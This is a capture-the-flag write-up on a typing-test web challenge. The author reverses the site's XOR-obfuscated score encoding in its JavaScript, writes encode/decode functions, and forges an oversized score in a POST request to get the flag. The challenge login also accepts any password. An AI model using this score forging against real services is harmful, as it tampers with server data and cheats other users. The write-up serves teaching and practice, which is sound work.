Original Writeup on seall.dev

Visiting the site, we are shown a typing test!

There is also a leaderboard and a login page.

We try the credentials for Br0kenC1ph3r23 on the login page and it works! (We later find out as long as the username is not taken the password doesn’t matter…)

Ok, we have a login, let’s try this test and see if we can mess with the score!

POST /api/score HTTP/1.1
Host: chals.secedu.site:5007
Content-Length: 120
...
{"score":"⏝⎄⏑⏖⏋⎄⎜⎒⎔⎈⎔⎖⎖⎖⎖⎖⎖⎖⎖⎖⎖⎖⎖⎗⎊⎄⏔⏇⏑⎄⎜⎑⎑⎈⎒⏛"}

Huh..?

Some kind of weird character encoding, let’s check out the JS source code of the site.

Doing some digging I find a JS file with a segment of interest:

const dt = (s, e) => {
        Te.set(s), Qe.set(e), qe.set(s * e), pt()
    },
    mt = () => JSON.stringify({
        wpm: f(qe),
        raw: f(Te)
    }).split("").map(e => e.charCodeAt(0)).map(e => e ^ 4401 ^ 5556 ^ 10019).map(e => String.fromCharCode(e)).join(""),
    pt = async () => {
        const s = await et("score", "POST", {
            score: mt()
        });
        s.success ? Ce.set(s.rank) : Ce.set(-1)
    }, Se = b(!1), ht = () => {
        Se.set(!1), $e(), ot()
    }, vt = () => {
        const s = D.length,
            a = f(F).reduce((n, t) => n + f(t).reduce((r, c) => r + +(c === !1), 0), 0) / s,
            l = s / 5;
        dt(l * (60 / xe), a), Se.set(!0)
    };

It seems to be doing some whacky XOR operation, let’s make a quick decryption and encryption script for modification of the values.

function decodeInput(output) {
    const decodedChars = output.split("").map(decodeChar);
    return decodedChars.join("");
}
function decodeChar(char) {
    return String.fromCharCode(char.charCodeAt(0) ^ 4401 ^ 5556 ^ 10019);
}
function encodeInput(input) {
    const encodedChars = input.split("").map(encodeChar);
    return encodedChars.join("");
}
function encodeChar(char) {
    return String.fromCharCode(char.charCodeAt(0) ^ 4401 ^ 5556 ^ 10019);
}

Loading those functions into the console, I try to decodeInput() my POST request data:

> decodeInput("⏝⎄⏑⏖⏋⎄⎜⎒⎔⎈⎔⎖⎖⎖⎖⎖⎖⎖⎖⎖⎖⎖⎖⎗⎊⎄⏔⏇⏑⎄⎜⎑⎑⎈⎒⏛")
'{"wpm":42.20000000000001,"raw":77.4}' 

Great! Let’s try making that WPM and RAW values 100!

> encodeInput('{"wpm":1000.0,"raw":1000.0}')
"⏝⎄⏑⏖⏋⎄⎜⎗⎖⎖⎖⎈⎖⎊⎄⏔⏇⏑⎄⎜⎗⎖⎖⎖⎈⎖⏛"

Sending that in the POST request we just get first on the leaderboard but no flag… What if we overload it with alot of 9’s?

> encodeInput('{"wpm":99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999.99,"raw":99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999.99}')
"⏝⎄⏑⏖⏋⎄⎜⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎈⎟⎟⎊⎄⏔⏇⏑⎄⎜⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎟⎈⎟⎟⏛"

Sending that we get a better response:

{"status":"SECEDU{definitely_not_a_robot}","success":true}

Flag: SECEDU{definitely_not_a_robot}